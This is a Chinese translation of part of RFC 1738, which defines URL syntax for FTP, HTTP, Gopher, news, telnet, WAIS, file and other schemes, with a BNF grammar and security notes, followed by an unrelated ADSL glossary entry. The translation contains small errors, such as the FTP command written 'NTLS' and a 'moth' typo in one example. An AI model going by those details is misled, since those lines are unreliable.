任意的用户名称。有些方案（例如：ftp）允许使用用户名称的描述。
密码
任意的密码。如果存在的话，它紧跟在用户名后面并用一个冒号隔开。
用户名（和密码）如果存在的话，其后紧跟一个商用符号“@”。在用户名和密码字段中出
现的任何“:”，“@”或者“/”都要进行编码。
注意空的用户名或者密码不同于没有用户名和密码；决不能在没有指定用户名的情况下指
定密码。例如：<URL:ftp://@host.com/>的用户名为空并且没有密码，<
URL:ftp://host.com/>没有用户名，而<URL:ftp://foo:@host.com/>的用户名是“foo”
并且密码为空。
主机
网络主机的域名，或者它的以“.”分隔的四组十进制数字集合形式的IP地址。域名的
形式在RFC1034[13]的3.5节和RFC1123[5]的2.1节中进行了描述，即用“.”分隔的域
标志串，域标志以字母或者数字开头和结束，也可能包含“-”字符。最右边的域标志不
能以数字开头，这样就在语法结构上将域名和IP地址区分开来了。
端口
指明链接的端口。大部分方案都给协议指定一个默认的端口。也可以随意指定一个十进制
形式的端口，并用冒号与主机隔开。如果忽略端口，那么这个冒号也要忽略。
url路径
定位符的其他部分由方案的特殊数据组成，这些特殊数据被称为“url－路径”。它提供
了如何对特定资源进行访问的详细信息。注意主机（或端口）与url－路径间的“/”不
是url－路径的一部分。
url－路径的语法依赖于所使用的方案。也依赖于它在方案中的解释方法。
3．2 FTP
FTP URL方案可以用来指定因特网上使用FTP协议（RFC959）的可达主机上的文件和目录。
FTP URL遵从3.1节所描述的语法。如果:<端口>被省略的话，则使用缺省端口21。
3．2．1 FTP 用户名和密码
在连接上FTP服务器后，可以用“USER”和“PASS”命令来指定用户名和密码。如果没
有提供用户名或者密码并且FTP服务器只要求一项，那么将使用到“匿名”服务器的转
换，如下所示：
用户名“anonymous”被发送。
访问资源的终端用户的因特网电子邮件地址被作为密码发送。
如果URL提供用户名但不提供密码，那么远程服务器将要求提供密码，而解释FTP URL
的程序则要求用户输入密码。
3．2．2 FTP URL-路径
FTP URL的URL-路径语法如下：
<cwd1>/<cwd2>/.../<cwdN>/<name>;type=<typecode>
这里的<cwd1>到<cwdN>和<name>（可能被编码）都是字符串，<typecode>是字符“a”，
“i”和“d”之一。“;type=<typecode>”这一部分可以被省略。<cwdx>和<name>部分可
以为空。整个url－路径，包括它和包含用户名，密码，主机及端口的前缀间的分界符“/”
都可以被省略。
url－路径可以被解释成如下的一串FTP命令：
每个<cwd>元素被作为CWD（改变工作目录）命令的参数发送。
如果类型编码是“d”，则执行一个以<name>作为参数的NTLS（名字列表）命令，并把结
果解释为一个文件目录列表。
否则，执行一个用<typecode>作为参数的TYPE命令，然后访问文件名为<name>的文件（例
如，使用RETR命令）。
name或者CWD部分的字符“/”和“;”都是保留字符，必须进行编码。在FTP协议中，
这些部分在使用前被解码。特别的是，如果访问一个特定文件的适当FTP命令序列需要
发送一个包含“/”的字符串作为CWD或者RETR命令的参数，那么必须对每个“/”都进
行编码。
例如，URL<URL:ftp://myname@host.dom/%2Fetc/motd>被FTP解释为“host.dom”，并以
用户名“myname”登录（如果需要，则提示输入密码），然后执行“CWD /etc”，再接着
执行“RETR motd”。这和<URL:ftp://myname@host.dom/etc/motd>的含义不一样，它先
执行“CWD etc”然后执行“RETR motd”；开始的“CWD”可能被执行，进入用户“myname”
的缺省目录。另一方面，<URL:ftp://myname@host.dom//etc/motd>将执行一个不带参数
的“CWD”命令，然后执行“CWD etc”，接着执行“RETR moth”。
FTP URL也可以用于其他操作；例如，可以更新远程文件服务器上的文件，或者根据它的
目录列表来推断它的一些信息。完成这些功能的机制在这儿没有仔细介绍。
3．2．3 FTP 类型编码是可选择的
FTP URL的整个;type=<typecode>部分都是可选择的。如果这一部分被省略，那么解释
URL的客户程序必须猜测适当模式来使用。一般来说，文件数据内容的类型只能从文件名
来猜测，例如根据文件名后缀猜测；用来传输文件的合适的类型编码于是可以从文件的数
据内容推断出来。
3．2．4层次
在有些文件系统中，用来表示URL的层次结构的“/”与用来构建文件系统层次的分隔符
相同，这样一来，文件名和URL路径看起来就很像。但这并不意味着URL是一个Unix文
件名。
3．2．5优化
客户端通过FTP对资源进行访问时可能会使用一些额外的搜索方法来优化交互过程。例
如，对一些FTP服务器来说，当访问同一个服务器的多个URL的时候，则保持控制连接
一直打开是比较合理的。但FTP协议没有通用的层次模式，因此当一个改变目录的命令
发出后，如果是一个不同的路径，那么一般不可能推断出下一次将要给另一个目录发送什
么样的序列。唯一可靠的算法是断开然后重新建立控制连接。
3．3 HTTP
HTTP URL 方案是用来标志因特网上使用HTTP(HyperText Transfer Protocol，超文本
传输协议)的可达资源。
HTTP协议在其他的地方进行了详细说明。本文只介绍了HTTP URL的语法。
HTTP URL的形式如下：
http://<host>:<port>/<path>?<searchpart>
其中<host>和<port>已经在3.1节说明过了。如果:<port>部分省略，那么就使用缺省的
端口80。不需要用户名和密码。<path>是一个HTTP选择器，<searchpart>是查询字符串。
<path>,<searchpart>和它前面的“?”都是可选择的。如果<path>和<searchpart>部分
都没有，则“/”也可以省略。
<path>和<searchpart>部分中的“/”，“;”和“？”都是保留字符。“/”字符可以在HTTP
中用来表示层次结构。
3．4 GOPHER
Gopher URL方案用来标志因特网上使用Gopher协议的可达资源。
基本Gopher协议是在RFC1436中介绍的，它支持项和项（目录）集合。Gopher+ 协议则
在基本Gopher协议的基础上进行了扩展，并且向上兼容。[2]中对它进行了介绍。Gopher+
支持联合属性的任意集合和使用Gopher项的替换数据表示。Gopher URL提供了Gopher
与Gopher+的项和项属性。
3．4．1 Gopher URL 语法
Gopher URL的形式如下：
gopher://<host>:<port>/<gopher-path>
这里的<gopher-path>是
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
之一。
如果:<port>被省略，那么使用缺省端口70。<gophertype>是一个单字符域，它表示URL
引用的资源的Gopher类型。<gopher-path>部分也可以整个为空。在这种情况下，分隔
符“/”也是可选择的，并且<gophertype>的缺省值是“1”。
<selector>是Gopher选择器字符串。在Gopher协议中，Gopher 选择器字符串一个八位
字节串，它包括除了十六进制的09（US-ASCII HT 或tab），0A(US-ASCII 字符 LF)和
0D(US-ASCII 字符CR)外的所有八位字节。
Gopher客户通过向Gopher服务器发送Gopher选择器字符串来指定要获得的项。
<gopher-path>中没有保留字符。
需要注意的是：有些Gopher<selector>字符串是以<gophertype>字符的一个拷贝来开头，
在这种情况下，这个字符将会连续出现两次。Gopher选择器可能是空字符串；Gopher客
户端就是这样来查询Gopher服务器的高层目录的。
3．4．2为Gopher搜索引擎指定URL
如果URL被提交到Gopher搜索引擎进行查询，那么选择器后将紧跟一个已编码的tab
（%09）和一个搜索字符串。Gopher客户为了向Gopher搜索服务器提交一个搜索必须向
Gopher服务器发送<selector>字符串（编码后），一个tab字符，和一个搜索字符串。
3．4．3Gopher+项的URL语法
Gopher+项的URL有一个已编码的tab字符（%09）和一个Gopher+字符串。注意尽管
<search>元素可以是空字符串，但在这种情况下必须提供%09<search>字符串。
<gopher+_string>被用来表示取得Gopher+项所需要的信息。Gopher+项可以拥有交替视
图，任意的属性系，也可以有与它们相关联的电子表格。
客户为了获得与Gopher+URL相关联的数据，必须连接到服务器并且发送Gopher选择器，
这个选择器的后面紧跟一个tab字符和搜索字符串（可以为空）然后是一个tab字符和
Gopher+命令。
3．4．4 缺省的Gopher+数据表示
当一个Gopher服务器向客户返回目录列表时，Gopher+项后面跟着一个“+”（表示
Gopher+项）或者一个“?”（表示具有与它们相关联的+ASK形式的Gopher+项）。Gopher+
字符串只有一个字符“+”的Gopher URL采用项的缺省的视图（数据表示），而Gopher+
字符串只有一个字符“?”的Gopher URL则采用具有相关联的Gopher电子表格的项。
3．4．5 具有电子表格的Gopher+项
具有与之相关联的+ASK的Gopher+项（也就是跟着一个“?”的Gopher+项）要求客户端
取得该项的+ASK属性来获得表格定义，然后让用户填写这个表格并将用户应答和获得项
的选择器字符串一起返回。Gopher+客户端知道如何完成这些工作，但需要依赖于Gopher+
项描述中的“？”标签来知道什么时候处理这种情况。Gopher+项中的“?”被用来与Gopher+
协议中这种符号的用法相兼容。
3．4．6 Gopher+项属性集
为了表示项的Gopher+属性，Gopher URL的Gopher+字符串由“!”或者“$”组成。“!”
涉及Gopher+项的所有属性。“$”则涉及Gopher目录中所有项的所有项属性。
3．4．7涉及特定的Gopher+属性
为了表示特殊的属性，URL的gopher+_string是“!<attribute_name>”或者
“$<attribute_name>”。例如，gopher+_string的值为“!+ABSTRACT” 表示属性包含
一个项的抽象。
为了表示几个属性，gopher+_string可以由几个属性名组成，并且用已编码的空格分隔
开。例如，“!+ABSTRACT%20+SMELL”代表一个项的+ABSTRACT和+SMELL属性。

3．4．8 Gopher+交替视图的URL语法
Gopher+允许项有优化的交替数据表示(交替视图)。Gopher+客户端发送适当的视图和语
言标志（出现在项的+VIEW属性里）来获得Gopher+的交替视图。为了引用一个特定的
Gopher+交替视图试图，URL的Gopher+字符串的形式必须如下所示：
+<视图名称>%20<语言名称>
例如，Gopher+字符串"+application/postscript%20Es_ES"引用了一个Gopher+项的交
替视图的西班牙语附注。
3．4．9 Gopher+电子表格的URL语法
一个引用了填充有特定数据的Gopher+电子表格（一个ASK块）所参考的项的URL的
Gopher+字符串是通过对客户送给服务器的gopher+字符串进行编码得到的。这个gopher+
字符串的形式如下所示：
+%091%0D%0A+-1%0D%0A<ask_item1_value>%0D%0A<ask_item2_value>%0D%0A.%0D%0A
Gopher客户端为了获得这个项，它发送如下信息给Gopher服务器：
       <a_gopher_selector><tab>+<tab>1<cr><lf>
       +-1<cr><lf>
       <ask_item1_value><cr><lf>
       <ask_item2_value><cr><lf>
       .<cr><lf>
3．5 MAILTO
mailto URL方案是用来指明一个个体或者服务的因特网邮件地址的。它只代表因特网邮
件地址，而不表示任何其它的附加信息。
Mailto URL的形式如下所示：
mailto:<rfc822-addr-spec>
这里的<rfc822-addr-spec>是地址说明（的编码），这在RFC822[6]中进行了详细的说明。
在mailto URL中没有保留字。

注意百分符号（"%"）在RFC822中用得比较普遍，它必须被编码。

不像许多URL，mailto方案不代表可直接访问的数据对象；也没有迹象表面它代表一个
对象。它的使用方法不同于MIME中的报文/外部实体类型。
3．6 NEWS（新闻）
新闻URL方案被用来查阅新闻组或者USENET新闻上的独立文章，这一点在RFC1036中详
细说明了。

新闻URL的形式是下面两个之一：
news:<newsgroup-name>
news:<message-id>
<newsgroup-name>是一个用句点分隔的层次名称，例如：
“comp.infosystems.www.misc”。<message-id>与RFC1036中的2.1.5节中的
Message-ID一样，只是后者没有用“<”和“>”括起来；它的形式如下
<unique>@<full_domain_name>。消息标志符通过代表“在（at）”的“@”字符和新闻组
名称相区分。除此之外，在新闻URL组件中没有其它的保留字符。

如果<newsgroup-name>是“*”（例如：<URL:news:*>），那么它表示“所有可用的新闻组”。

新闻URL是不同寻常的，因为它们自身不包含足够的信息来定位一个单一资源，但是它
们的位置是任意的。

3．7 NNTP（Network News Transfer Protocol,网络新闻传
输协议）

网络新闻传输协议URL方案是引用新闻文章的另一个方法，这个方案在用来从NNTP服务
器指定新闻文章时是非常有用的（RFC977）。

网络新闻传输协议URL的形式如下：
nntp://<host>:<port>/<newsgroup-name>/<article-number>

这里的<host>和<port>在3.1节进行了阐述。如果省略:<port>，那么端口缺省为119。

<newsgroup-name>是组名，<article-number>是新闻组中文章的数字编号。

注意nntp:URL指定了文章资源的一个唯一的位置，大多数因特网上的NNTP服务器目前
进行的配置只允许本地客户端访问，因此nntp URL并不代表全球可访问的资源。这样URL
的news:形式成为标志新闻文章的首选方法。
3．8 TELNET
远程登录URL方案被用来指明交互式服务，这种服务可以通过Telnet协议来进行访问。

telnet URL的形式如下：
telnet://<user>:<password>@<host>:<port>/

向3.1节所讲的那样，最后面的“/”字符可以被省略。如果:<port>被省略，那么端口
缺省为23。:<password>也可以被省略，<user>:<password>部分也可以整个被省略。

这个URL并不指定一个数据对象，而是指定一个交互式的服务。远程交互式服务在允许
远程登录的方法上差别很大。实际上，提供的<user>和<password>仅供参考：正在访问
一个telnet URL的客户端仅仅建议所暗示的用户名和密码的用户。

3．9 WAIS（Wide Area Information Servers,广域信息服
务系统）
WAIS URL 方案用来指示WAIS数据库，搜索或者WAIS数据库中可用的单个文档。WAIS
在[7]中进行了描述。RFC1625[17]对WAIS协议进行了阐述。虽然WAIS协议是基于
Z39.50-1988的，但 WAIS URL方案并不是特意用来和任意的Z39.50服务一起使用的。

WAIS URL有如下几个形式：

 wais://<host>:<port>/<database>
     wais://<host>:<port>/<database>?<search>
     wais://<host>:<port>/<database>/<wtype>/<wpath>

这里的<host>和<port>在3.1节阐述过了。如果省略了:<port>，那么端口缺省为210。
第一种形式指定了一个可以用来搜索的WAIS服务器。第二种形式表明了一个特定的搜索。
<database>是被查询的WAIS数据库名。

第三种形式表明了WAIS数据中的一个要获取的特定文档。在这种形式中<wtype>是对象
类型的WAIS表示。许多WAIS实现需要一个在取得信息之间就能够认识对象“类型”的
客户端，这个类型和搜索响应中的内部对象标志符一起返回。<wtype>包含在URL中，这
是为了让客户端能理解URL的足够信息来取得文档。

WAIS URL的<wpath>由WAIS文档标志组成，这个文档标志使用了2.2节所叙述的方法进
行编码。WAIS 文档标志在处理时应该是不透明的；它仅可以被发布它的服务器分解。

3．10 FILES(文件)
文件URL方案被用来指定那些特定主机上的可访问的文件。这个方案和其它大多数方案
不一样，因为它并不表示一个在因特网上普遍可访问的资源。

文件URL的形式如下：
file://<host>/<path>
这里的<host>是系统域名的全称，在这个系统中<path>是可访问的，它是形如
<directory>/<directory>/.../<name>的层次目录。

例如，一个VMS文件：
DISK$USER:[MY.NOTES]NOTE123456.TXT
的形式如下：
<URL:file://vms.host.edu/disk$user/my/notes/note12345.txt>

有一种特殊情况，就是<host>可以是字符串“localhost”或者空字符串；它被解释为解
释这个URL的主机。

文件URL方案是与众不同的，因为它不指定一个因特网协议或者访问这些文件的方法；
这样它在主机间网络协议上的效用是有限的。

3．11 PROSPERO

Prospero URL方案是用来指定那些可以通过Prospero目录服务访问的资源。Prospero
协议在其它地方介绍了[14]。
Prospero URL的形式如下：
prospero://<host>:<port>/<hsoname>;<field>=<value>
这里<host>和<port>和3.1节介绍的一样。如果省略了:<port>，那么端口缺省为1525。
这里不需要用户名和密码。

<hsoname>是Prospero协议中特定主机的对象名称，它需要被编码。这个名称是不透明
的，它是由Prospero服务器解释。分号“;”是保留字符，它不能不经过引用就出现在
<hsoname>中.

Prospero URL是通过联系特定主机和端口上的Prospero目录服务器来解释的，然后用来
决定访问资源的合适的方法，这些资源自身可能被表示成不同的URL。外部的Prospero
链接被表示成采用底层访问方法的URL，而不是表示成Prospero URL。

注意斜线“/”可以不经过引用就出现在<hsoname>中，应用程序假定它不代表任何意义。
尽管斜线在服务器上可以用来表示层次结构，但是这些结构并不被承认。注意许多
<hsoname>是由斜线开头，在这种情况下，主机或者端口之后将紧跟一个双斜线：前面是
URL语法的斜线，后面是<hsoname>的开始斜线。（举例来说：
<URL:prospero://host.dom//pros/name>表示<hsoname>为“/pros/name”）。

另外，与Prospero链接相关联的任意的字段和值都可以成为URL中<hsoname>之后的一
个部分。在这种情况下，每个“字段/值”组合对都用一个“;”（分号）相互以及与URL
的其它部分分隔开。字段名称和它的值用一个“＝”（等号）分隔开。如果出现这种情况，
这些域将用来标志URL的目标。例如，OBJECT-VERSION域可以被用来标志对象的特定版
本。

4． 新方案的注册
可以通过定义一个到相应URL语法的映射和使用一个新的前缀来引入一个新的方案。URL
试验方案可以通过团体间的共同协议来使用。用字符“x-”开头的方案名称是保留给试验
方案用的。

国际数字分配权威（IANA，Internet Assigned Numbers Authority）将管理URL方案的
注册。任何提交的新URL方案都必须包含一个访问该方案中资源的法则的定义还必须包
含描述这个方案的语法。

URL方案必须具有可论证的实用性和可操作性。提供这样一个示范的方法就是借助一个为
使用已有协议的客户端提供新方案中的对象的网关。如果新方案不能够定位一个数据对象
资源，那么这个新领域中的名称的属性必须要进行清晰的定义。

新方案应该在适当的地方努力遵从与已有方案相同的语法规则。对于可以用URL访问的
协议的地方也是同样的。客户端软件被规定配置成使用特定网关定位符来通过新的命名方
案间接访问。

下面的方案已经多次被提议，但这个文档没有定义它自己的语法。它建议IANA保留它们
的方案名以备将来定义：
afs   Andrew 文件系统全局文件名（Andrew File System global file         names）。
   mid   		电子邮件报文标志（Message identifiers for electronic mail）.
   cid    		MIME主体部分的内容标志符（ Content identifiers for MIME body
parts）.
   nfs   	 	网络文件系统（NFS）文件名（Network File System file names）.
   tn3270	 	交互式3270竞争会话(Interactive 3270 emulation sessions).
   mailserver   访问邮件服务器上的有效数据（Access to data available from mail
servers）.
   z39.50       访问ANSI Z39.50服务(Access to ANSI Z39.50 services).

5．特定URL方案的BNF（巴柯斯范式）
这是统一资源定位器语法的类BNF描述，它使用了RFC822中的约定，除了用“|”表示
选择，用方括号[]将可选或者重复的元素括起来之外。简单地说就是文字用引号""引起
来，可选元素放在方括号[]内，元素可以用<n>*来开头表明有n个或者更多个此元素；n
缺省为0。

;URL的一般形式如下：
genericurl     = scheme ":" schemepart

;特定的预定义方案在这里进行定义；新方案可以在IANA那儿注册
url            = httpurl | ftpurl | newsurl |
                 nntpurl | telneturl | gopherurl |
                 waisurl | mailtourl | fileurl |
                 prosperourl | otherurl
;新方案遵从一般语法
otherurl       = genericurl
;方案都是小写的；解释程序应该忽略大小写
scheme         = 1*[ lowalpha | digit | "+" | "-" | "." ]
schemepart     = *xchar | ip-schemepart
;基于协议的ip的URL方案部分：
ip-schemepart  = "//" login [ "/" urlpath ]

login          = [ user [ ":" password ] "@" ] hostport
hostport       = host [ ":" port ]
host           = hostname | hostnumber
hostname       = *[ domainlabel "." ] toplabel
domainlabel    = alphadigit | alphadigit *[ alphadigit | "-" ] alphadigit
toplabel       = alpha | alpha *[ alphadigit | "-" ] alphadigit
alphadigit     = alpha | digit
hostnumber     = digits "." digits "." digits "." digits
port           = digits
user           = *[ uchar | ";" | "?" | "&" | "=" ]
password       = *[ uchar | ";" | "?" | "&" | "=" ]
urlpath        = *xchar    ;建立在3.1节的协议基础上
;预定义方案：
;FTP(文件传输协议，请参考RFC959)
ftpurl         = "ftp://" login [ "/" fpath [ ";type=" ftptype ]]
fpath          = fsegment *[ "/" fsegment ]
fsegment       = *[ uchar | "?" | ":" | "@" | "&" | "=" ]
ftptype        = "A" | "I" | "D" | "a" | "i" | "d"
;FILE(文件)
fileurl        = "file://" [ host | "localhost" ] "/" fpath
;HTTP(超文本传输协议)
httpurl        = "http://" hostport [ "/" hpath [ "?" search ]]
hpath          = hsegment *[ "/" hsegment ]
hsegment       = *[ uchar | ";" | ":" | "@" | "&" | "=" ]
search         = *[ uchar | ";" | ":" | "@" | "&" | "=" ]
;GOPHER(请参考RFC1436)
gopherurl      = "gopher://" hostport [ / [ gtype [ selector
                 [ "%09" search [ "%09" gopher+_string ] ] ] ] ]
gtype          = xchar
selector       = *xchar
gopher+_string = *xchar
;MAILTO(请参考RFC822)
mailtourl      = "mailto:" encoded822addr
encoded822addr = 1*xchar               ;在RFC822中进一步定义了
;NEWS（新闻,请参考RFC1036）
newsurl        = "news:" grouppart
grouppart      = "*" | group | article
group          = alpha *[ alpha | digit | "-" | "." | "+" | "_" ]
article        = 1*[ uchar | ";" | "/" | "?" | ":" | "&" | "=" ] "@" host
;NNTP（网络新闻传输协议,请参考RFC977）
nntpurl        = "nntp://" hostport "/" group [ "/" digits ]
;TELNET(远程登录协议)
telneturl      = "telnet://" login [ "/" ]
;WAIS(广域信息服务系统，请参考RFC1625)
waisurl        = waisdatabase | waisindex | waisdoc
waisdatabase   = "wais://" hostport "/" database
waisindex      = "wais://" hostport "/" database "?" search
waisdoc        = "wais://" hostport "/" database "/" wtype "/" wpath
database       = *uchar
wtype          = *uchar
wpath          = *uchar
;PROSPERO
prosperourl    = "prospero://" hostport "/" ppath *[ fieldspec ]
ppath          = psegment *[ "/" psegment ]
psegment       = *[ uchar | "?" | ":" | "@" | "&" | "=" ]
fieldspec      = ";" fieldname "=" fieldvalue
fieldname      = *[ uchar | "?" | ":" | "@" | "&" ]
fieldvalue     = *[ uchar | "?" | ":" | "@" | "&" ]
;杂七杂八的定义
lowalpha       = "a" | "b" | "c" | "d" | "e" | "f" | "g" | "h" |
                 "i" | "j" | "k" | "l" | "m" | "n" | "o" | "p" |
                 "q" | "r" | "s" | "t" | "u" | "v" | "w" | "x" |
                 "y" | "z"
hialpha        = "A" | "B" | "C" | "D" | "E" | "F" | "G" | "H" | "I" |
                 "J" | "K" | "L" | "M" | "N" | "O" | "P" | "Q" | "R" |
                 "S" | "T" | "U" | "V" | "W" | "X" | "Y" | "Z"
alpha          = lowalpha | hialpha
digit          = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" |
                 "8" | "9"
safe           = "$" | "-" | "_" | "." | "+"
extra          = "!" | "*" | "'" | "(" | ")" | ","
national       = "{" | "}" | "|" | "\" | "^" | "~" | "[" | "]" | "`"
punctuation    = "<" | ">" | "#" | "%" | <">

reserved       = ";" | "/" | "?" | ":" | "@" | "&" | "="
hex            = digit | "A" | "B" | "C" | "D" | "E" | "F" |
                 "a" | "b" | "c" | "d" | "e" | "f"
escape         = "%" hex hex

unreserved     = alpha | digit | safe | extra
uchar          = unreserved | escape
xchar          = unreserved | reserved | escape
digits         = 1*digit

6．安全事项
URL方案自身并不会造成安全威胁。用户需要小心的是：在一个时刻指向一个给定对象的
URL并不会保证一直指向这个对象。甚至也不保证因服务器上对象的移动而会在后来指向
另一个不同的对象。
一种同URL相关的安全威胁是：构建一个试图执行像取回对象这样无害的等幂操作的URL
有时可能会导致发生破坏性的远程操作。这个不安全的URL通常是通过指定一个除了那
些保留给正在讨论的网络协议用的端口数产生的。客户端在无意间同一个服务器打了交
道，而这个服务器实际上正在运行一个不同的协议，这样就导致URL内容中包含的指令
被其他的协议解释了，从而产生意外操作。一个例子就是使用gopher URL来生成一个原
始的消息并通过SMTP服务器来发送。在使用那些指定端口不是缺省端口的URL时应该进
行警告，尤其是在这个端口数出现在保留空间里面的情况下。
当URL包含有嵌入式已编码的特定协议中的分隔符（例如，telnet协议的CR和LF字符）
并且在传输前没有被解码时应该引起注意。这样除了可能被用来模拟一个超出其范围的操
作或者参数，会干扰这个协议，并再一次引起执行意想不到的而且可能是有害的远程操作。
使用包含应该作为秘密的密码的URL是非常轻率的。
7．感谢
这份文件建立在基本WWW设计（RFC1630）和许多人在网络上对这个观点进行的诸多讨论
的基础上。这些讨论受到了Clifford Lynch，Brewster Kahle [10] 和 Wengyik Yeong
[18]的文章的极大鼓舞。这份文件综合了John Curran, Clifford Neuman, Ed Vielmetti
和后来的IETF URL BOF与URI工作小组的成果。

Dan Connolly, Ned Freed, Roy Fielding, Guido van Rossum, Michael Dolan, Bert
Bos, John Kunze, Olle Jarnefors, Peter Svanberg最近详细审阅了这份文件并提出
了宝贵的意见。还有许多人为这份RFC的完善提供了很大帮助。

附录：上下文URL的推荐标准
URI（统一资源标志符），包括URL，趋向于通过这样的协议来传输：这些协议为它们的解
释提供了上下文。
在有些情况下，有必要区分URL和语法结构中其他可能的数据结构。在这种情况下，建
议在URL之前加上一个有字符“URL:”组成的前缀，这个前缀可以用来把URL和其它种
类的URI区分开。

此外，其它种类的文字中包含URL的情况也很常见。例如包含在电子邮件中，USENET 新
闻消息中或者印在纸上。在这些情况下，可以很方便的用一个单独的语法分隔符号来分隔
URL并把它和文字的其它部分相分离。在一些特殊情况下，标点符号标记可能会造成URL
的其它部分出错。因为这个原因，建议使用尖括号（“<”和“>”）并使用“URL:”前缀
来界定URL。这些界定符号不会出现在URL中，也不应该出现在指定这个界定符的上下文
中。
在一个“片断/锚点”（fragment/anchor）标志符和一个URL（在一个“#”之后）相关联
的情况下，这个标志符也应该放到括号中。
在有些情况下，需要加一些额外的空白（空格，回车，制表符等）来打断那些超过一行的
长URL。在提取URL时这些空白应该被忽略。
在连字符（“-”）后不应该加入空白。因为有些排字机和打印机在打断一行是可能会（错
误地）在行末加入一个连字符，解释程序在解释一个在连字符后包含一个行中断的URL
时应该忽略行中断左右所有未编码的空白,并且应该注意到连字符可能是也可能不是URL
的一个部分。
例如：
是的，Jim，我发现它在<URL:ftp://info.cern.ch/pub/www/doc;type=d>上，但是你可
能能够从<URL:ftp://ds.internic.net/rfc>那儿获得它。请注意
<URL:http://ds.internic.net/instructions/overview.html#WARNING>上的警告。

参考文献：
   [1] Anklesaria, F., McCahill, M., Lindner, P., Johnson, D.,
       Torrey, D., and B. Alberti, "The Internet Gopher Protocol
       (a distributed document search and retrieval protocol)",
       RFC 1436, University of Minnesota, March 1993.
       <URL:ftp://ds.internic.net/rfc/rfc1436.txt;type=a>

   [2] Anklesaria, F., Lindner, P., McCahill, M., Torrey, D.,
       Johnson, D., and B. Alberti, "Gopher+: Upward compatible
       enhancements to the Internet Gopher protocol",
       University of Minnesota, July 1993.
       <URL:ftp://boombox.micro.umn.edu/pub/gopher/gopher_protocol
       /Gopher+/Gopher+.txt>

   [3] Berners-Lee, T., "Universal Resource Identifiers in WWW: A
       Unifying Syntax for the Expression of Names and Addresses of
       Objects on the Network as used in the World-Wide Web", RFC
       1630, CERN, June 1994.
       <URL:ftp://ds.internic.net/rfc/rfc1630.txt>

   [4] Berners-Lee, T., "Hypertext Transfer Protocol (HTTP)",
       CERN, November 1993.
       <URL:ftp://info.cern.ch/pub/www/doc/http-spec.txt.Z>

   [5] Braden, R., Editor, "Requirements for Internet Hosts --
       Application and Support", STD 3, RFC 1123, IETF, October 1989.
       <URL:ftp://ds.internic.net/rfc/rfc1123.txt>

   [6] Crocker, D. "Standard for the Format of ARPA Internet Text
       Messages", STD 11, RFC 822, UDEL, April 1982.
       <URL:ftp://ds.internic.net/rfc/rfc822.txt>

   [7] Davis, F., Kahle, B., Morris, H., Salem, J., Shen, T., Wang, R.,
       Sui, J., and M. Grinbaum, "WAIS Interface Protocol Prototype
       Functional Specification", (v1.5), Thinking Machines
       Corporation, April 1990.
       <URL:ftp://quake.think.com/pub/wais/doc/protspec.txt>

   [8] Horton, M. and R. Adams, "Standard For Interchange of USENET
       Messages", RFC 1036, AT&T Bell Laboratories, Center for Seismic
       Studies, December 1987.
       <URL:ftp://ds.internic.net/rfc/rfc1036.txt>

   [9] Huitema, C., "Naming: Strategies and Techniques", Computer
       Networks and ISDN Systems 23 (1991) 107-110.
  [10] Kahle, B., "Document Identifiers, or International Standard
       Book Numbers for the Electronic Age", 1991.
       <URL:ftp://quake.think.com/pub/wais/doc/doc-ids.txt>

  [11] Kantor, B. and P. Lapsley, "Network News Transfer Protocol:
       A Proposed Standard for the Stream-Based Transmission of News",
       RFC 977, UC San Diego & UC Berkeley, February 1986.
       <URL:ftp://ds.internic.net/rfc/rfc977.txt>

  [12] Kunze, J., "Functional Requirements for Internet Resource
       Locators", Work in Progress, December 1994.
       <URL:ftp://ds.internic.net/internet-drafts
       /draft-ietf-uri-irl-fun-req-02.txt>

  [13] Mockapetris, P., "Domain Names - Concepts and Facilities",
       STD 13, RFC 1034, USC/Information Sciences Institute,
       November 1987.
       <URL:ftp://ds.internic.net/rfc/rfc1034.txt>

  [14] Neuman, B., and S. Augart, "The Prospero Protocol",
       USC/Information Sciences Institute, June 1993.
       <URL:ftp://prospero.isi.edu/pub/prospero/doc
       /prospero-protocol.PS.Z>

  [15] Postel, J. and J. Reynolds, "File Transfer Protocol (FTP)",
       STD 9, RFC 959, USC/Information Sciences Institute,
       October 1985.
       <URL:ftp://ds.internic.net/rfc/rfc959.txt>

  [16] Sollins, K. and L. Masinter, "Functional Requirements for
       Uniform Resource Names", RFC 1737, MIT/LCS, Xerox Corporation,
       December 1994.
       <URL:ftp://ds.internic.net/rfc/rfc1737.txt>

  [17] St. Pierre, M, Fullton, J., Gamiel, K., Goldman, J., Kahle, B.,
       Kunze, J., Morris, H., and F. Schiettecatte, "WAIS over
       Z39.50-1988", RFC 1625, WAIS, Inc., CNIDR, Thinking Machines
       Corp., UC Berkeley, FS Consulting, June 1994.
       <URL:ftp://ds.internic.net/rfc/rfc1625.txt>

  [18] Yeong, W. "Towards Networked Information Retrieval", Technical
       report 91-06-25-01, Performance Systems International, Inc.
       <URL:ftp://uu.psi.com/wp/nir.txt>, June 1991.

  [19] Yeong, W., "Representing Public Archives in the Directory",
       Work in Progress, November 1991.

  [20] "Coded Character Set -- 7-bit American Standard Code for
       Information Interchange", ANSI X3.4-1986.

编者地址：
Tim Berners-Lee
World-Wide Web project
CERN,
1211 Geneva 23,
Switzerland

电话：+41 (22)767 3755
传真：+41 (22)767 7155
Email：timbl@info.cern.ch

Larry Masinter
Xerox PARC
3333 Coyote Hill Road
Palo Alto, CA 94034

电话: (415) 812-4365
传真: (415) 812-4333
EMail: masinter@parc.xerox.com

Mark McCahill
Computer and Information Services,
University of Minnesota
Room 152 Shepherd Labs
100 Union Street SE
Minneapolis, MN 55455

电话: (612) 625 1300
EMail: mpm@boombox.micro.umn.edu

RFC1738——Uniform Resource Locators (URL)             统一资源定位器（URL）

1
RFC文档中文翻译计划


菜鸟必看网络名词

ADSL
    ADSL（Asymetric Digital Subscriber Loop）技术即非对称数字用户环路技术，就是利用现有的一对电话铜线，为用户提供上、下行非对称的传输速率（带宽），上行（从用户到网络）为低速的传输，可达640Kbps；下行（从网络到用户）为高速传输，可达7Mbps。它最初主要是针对视频点播业务开发的，随着技术的发展，逐步成为了一种较方便的宽带接入技术，为电信部门所重视。
    这种宽带接入技术具有以下特点：
    1. 可直接利用现有用户电话线，无须另铺电缆，节省投资；
    2. 渗入能力强，接入快，适合于集中与分散的用户；
    3. 能为用户提供上、下行不对称的传输带宽；
    4. 采用点一点的拓扑结构，用户可独享高带宽；
    5. 可广泛用于视频业务及高速INTERNET等数据的接入。
